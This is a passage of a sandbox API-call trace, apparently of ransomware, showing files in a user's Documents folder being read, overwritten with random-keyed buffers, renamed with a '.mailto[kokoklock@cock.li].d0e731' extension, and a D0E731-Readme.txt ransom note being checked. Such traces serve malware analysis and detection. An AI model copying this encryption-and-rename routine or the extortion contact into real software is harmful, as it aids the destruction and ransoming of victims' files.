0x37606255 [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0x854fc88c [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0x42ab83a2 [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0xb1a6f45b [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0xf262af12 [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0x17b54930 [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0xd2d98a26 [0176.522] RtlRandom (in: Seed=0x2697fba0 | out: Seed=0x2697fba0) returned 0xc700510a [0176.533] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.533] ReadFile (in: hFile=0x6f8, lpBuffer=0x2fe4828, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2697fb6c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesRead=0x2697fb6c*=0x4096, lpOverlapped=0x0) returned 1 [0176.534] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.534] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87110 [0176.535] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88c58 [0176.535] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d38 [0176.535] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d38) returned 1 [0176.535] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe88c8 [0176.535] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94978 [0176.535] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94db0 [0176.535] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94db0) returned 1 [0176.535] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88c58) returned 1 [0176.535] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87110) returned 1 [0176.535] WriteFile (in: hFile=0x6f8, lpBuffer=0x2fe88c8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2697fb6c, lpOverlapped=0x0 | out: lpBuffer=0x2fe88c8*, lpNumberOfBytesWritten=0x2697fb6c*=0x4096, lpOverlapped=0x0) returned 1 [0176.536] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe88c8) returned 1 [0176.536] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x14f13, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.536] WriteFile (in: hFile=0x6f8, lpBuffer=0x2f94978*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2697fba4, lpOverlapped=0x0 | out: lpBuffer=0x2f94978*, lpNumberOfBytesWritten=0x2697fba4*=0x20, lpOverlapped=0x0) returned 1 [0176.536] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0176.536] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.536] WriteFile (in: hFile=0x6f8, lpBuffer=0x2f94e00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2697fbb8, lpOverlapped=0x0 | out: lpBuffer=0x2f94e00*, lpNumberOfBytesWritten=0x2697fbb8*=0x8, lpOverlapped=0x0) returned 1 [0176.536] WriteFile (in: hFile=0x6f8, lpBuffer=0x2697fbd0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2697fbb8, lpOverlapped=0x0 | out: lpBuffer=0x2697fbd0*, lpNumberOfBytesWritten=0x2697fbb8*=0x4, lpOverlapped=0x0) returned 1 [0176.537] WriteFile (in: hFile=0x6f8, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2697fbb8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2697fbb8*=0x4, lpOverlapped=0x0) returned 1 [0176.537] WriteFile (in: hFile=0x6f8, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2697fbb8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2697fbb8*=0x6c, lpOverlapped=0x0) returned 1 [0176.537] WriteFile (in: hFile=0x6f8, lpBuffer=0x2f94ce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2697fbb8, lpOverlapped=0x0 | out: lpBuffer=0x2f94ce8*, lpNumberOfBytesWritten=0x2697fbb8*=0x20, lpOverlapped=0x0) returned 1 [0176.537] WriteFile (in: hFile=0x6f8, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2697fbb8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2697fbb8*=0x4, lpOverlapped=0x0) returned 1 [0176.537] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ce8) returned 1 [0176.537] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d10) returned 1 [0176.537] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94e00) returned 1 [0176.537] CloseHandle (hObject=0x6f8) returned 1 [0176.537] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf8) returned 0x2f84818 [0176.537] wcscpy (in: _Dest=0x2f84818, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731" [0176.537] wcscat (in: _Dest=0x2f84818, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.538] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\gfaakzlyyggyvx.ots.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\gfaakzlyyggyvx.ots.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.557] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.557] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84818) returned 1 [0176.557] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.557] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2fefc68 [0176.557] wcscpy (in: _Dest=0x2fefc68, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" [0176.557] wcscat (in: _Dest=0x2fefc68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\D0E731-Readme.txt" [0176.557] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\d0e731-readme.txt")) returned 0x20 [0176.557] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fefc68) returned 1 [0176.558] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9de30) returned 1 [0176.558] RtlExitUserThread (Status=0x1) Thread: id = 2549 os_tid = 0x11bc [0176.559] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\hzuzzsnhyp.pps.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.559] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.559] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\hzuzzsnhyp.pps.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0176.559] GetFileSizeEx (in: hFile=0x6f8, lpFileSize=0x269ffa7c | out: lpFileSize=0x269ffa7c*=12299) returned 1 [0176.559] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x3007, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.559] ReadFile (in: hFile=0x6f8, lpBuffer=0x269ffa50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x269ffa4c, lpOverlapped=0x0 | out: lpBuffer=0x269ffa50*, lpNumberOfBytesRead=0x269ffa4c*=0x4, lpOverlapped=0x0) returned 1 [0176.560] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.560] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0176.560] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ce8 [0176.560] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d10 [0176.560] NtQuerySystemTime (in: CurrentTime=0x269ffa28 | out: CurrentTime=0x269ffa28*=132121213338768375) returned 0x0 [0176.560] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0x41b99198 [0176.560] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0xb3b05df2 [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0xe2a294eb [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0x1288b583 [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0x97f67684 [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0x6d9cb71 [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0x5a308d78 [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0xbe964300 [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0x470004fb [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0xe6e26907 [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0x32d79ac3 [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0xa7ec16a6 [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0x7a5d6b61 [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0x76201ebd [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0xdde26dad [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0xf8c4c24d [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0x30f55971 [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0xf126413 [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0x1c05d44 [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0x42d33bf9 [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0x21184a2f [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0x236c58b1 [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0x34d78ac1 [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0xe7fd741c [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0xc5f75213 [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0xec7d2306 [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0xe32feffb [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0x43e48b8e [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0x190a6ad6 [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0x863fe6cf [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0xf47447fa [0176.561] RtlRandom (in: Seed=0x269ffa34 | out: Seed=0x269ffa34) returned 0x9d2dcad1 [0176.572] ReadFile (in: hFile=0x6f8, lpBuffer=0x2fe4828, nNumberOfBytesToRead=0x300b, lpNumberOfBytesRead=0x269ffa28, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesRead=0x269ffa28*=0x300b, lpOverlapped=0x0) returned 1 [0176.574] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269ff9f0 | out: lpNewFilePointer=0x0) returned 1 [0176.574] WriteFile (in: hFile=0x6f8, lpBuffer=0x2fe88c8*, nNumberOfBytesToWrite=0x300b, lpNumberOfBytesWritten=0x269ffa24, lpOverlapped=0x0 | out: lpBuffer=0x2fe88c8*, lpNumberOfBytesWritten=0x269ffa24*=0x300b, lpOverlapped=0x0) returned 1 [0176.574] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94978 [0176.574] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94db0 [0176.574] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94db0) returned 1 [0176.574] WriteFile (in: hFile=0x6f8, lpBuffer=0x2f94978*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x269ffa20, lpOverlapped=0x0 | out: lpBuffer=0x2f94978*, lpNumberOfBytesWritten=0x269ffa20*=0x20, lpOverlapped=0x0) returned 1 [0176.575] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0176.575] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe88c8) returned 1 [0176.575] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.575] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88c58) returned 1 [0176.575] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87110) returned 1 [0176.575] WriteFile (in: hFile=0x6f8, lpBuffer=0x2f94e00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x269ffa4c, lpOverlapped=0x0 | out: lpBuffer=0x2f94e00*, lpNumberOfBytesWritten=0x269ffa4c*=0x8, lpOverlapped=0x0) returned 1 [0176.575] WriteFile (in: hFile=0x6f8, lpBuffer=0x269ffa64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x269ffa4c, lpOverlapped=0x0 | out: lpBuffer=0x269ffa64*, lpNumberOfBytesWritten=0x269ffa4c*=0x4, lpOverlapped=0x0) returned 1 [0176.575] WriteFile (in: hFile=0x6f8, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x269ffa4c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x269ffa4c*=0x4, lpOverlapped=0x0) returned 1 [0176.575] WriteFile (in: hFile=0x6f8, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x269ffa4c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x269ffa4c*=0x6c, lpOverlapped=0x0) returned 1 [0176.575] WriteFile (in: hFile=0x6f8, lpBuffer=0x2f94ce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x269ffa4c, lpOverlapped=0x0 | out: lpBuffer=0x2f94ce8*, lpNumberOfBytesWritten=0x269ffa4c*=0x20, lpOverlapped=0x0) returned 1 [0176.575] WriteFile (in: hFile=0x6f8, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x269ffa4c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x269ffa4c*=0x4, lpOverlapped=0x0) returned 1 [0176.576] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ce8) returned 1 [0176.576] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d38) returned 1 [0176.576] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94e00) returned 1 [0176.576] CloseHandle (hObject=0x6f8) returned 1 [0176.576] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf0) returned 0x3054448 [0176.576] wcscpy (in: _Dest=0x3054448, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731" [0176.576] wcscat (in: _Dest=0x3054448, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.576] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\hzuzzsnhyp.pps.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\hzuzzsnhyp.pps.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.577] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.577] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054448) returned 1 [0176.577] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.577] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2feff68 [0176.577] wcscpy (in: _Dest=0x2feff68, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" [0176.577] wcscat (in: _Dest=0x2feff68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\D0E731-Readme.txt" [0176.577] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\d0e731-readme.txt")) returned 0x20 [0176.577] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feff68) returned 1 [0176.577] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84428) returned 1 [0176.577] RtlExitUserThread (Status=0x1) Thread: id = 2550 os_tid = 0x11c0 [0176.578] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\qsq6d.docx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.579] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.579] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\qsq6d.docx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0176.579] GetFileSizeEx (in: hFile=0x6f8, lpFileSize=0x26a7f9a8 | out: lpFileSize=0x26a7f9a8*=85773) returned 1 [0176.579] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x14f09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.579] ReadFile (in: hFile=0x6f8, lpBuffer=0x26a7f97c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26a7f978, lpOverlapped=0x0 | out: lpBuffer=0x26a7f97c*, lpNumberOfBytesRead=0x26a7f978*=0x4, lpOverlapped=0x0) returned 1 [0176.580] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.580] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0176.580] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ce8 [0176.580] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d38 [0176.581] NtQuerySystemTime (in: CurrentTime=0x26a7f954 | out: CurrentTime=0x26a7f954*=132121213338924666) returned 0x0 [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0x6a8e5522 [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0xbf07b5cb [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0xc3410002 [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0xa9c49426 [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0x3994cdd4 [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0xfcbb377d [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0xb6623d16 [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0xdd302807 [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0x9dce495d [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0x6acc9003 [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0x68d672e [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0x107701bc [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0xc235aff4 [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0x4bc94052 [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0x68985bcc [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0x6cfcff02 [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0xb73204eb [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0x6843d181 [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0xb9e1474d [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0xbf6d8901 [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0x3b837ed7 [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0x22978b61 [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0xe30c93f [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0xc9b48323 [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0x83fa5175 [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0x1760d34e [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0x1afb759f [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0xba41a079 [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0xc97202 [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0x333854d9 [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0x6ae13cef [0176.581] RtlRandom (in: Seed=0x26a7f960 | out: Seed=0x26a7f960) returned 0x1873a4e4 [0176.593] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.593] ReadFile (in: hFile=0x6f8, lpBuffer=0x2fe4828, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x26a7f92c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesRead=0x26a7f92c*=0x4096, lpOverlapped=0x0) returned 1 [0176.594] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.594] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87110 [0176.594] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, 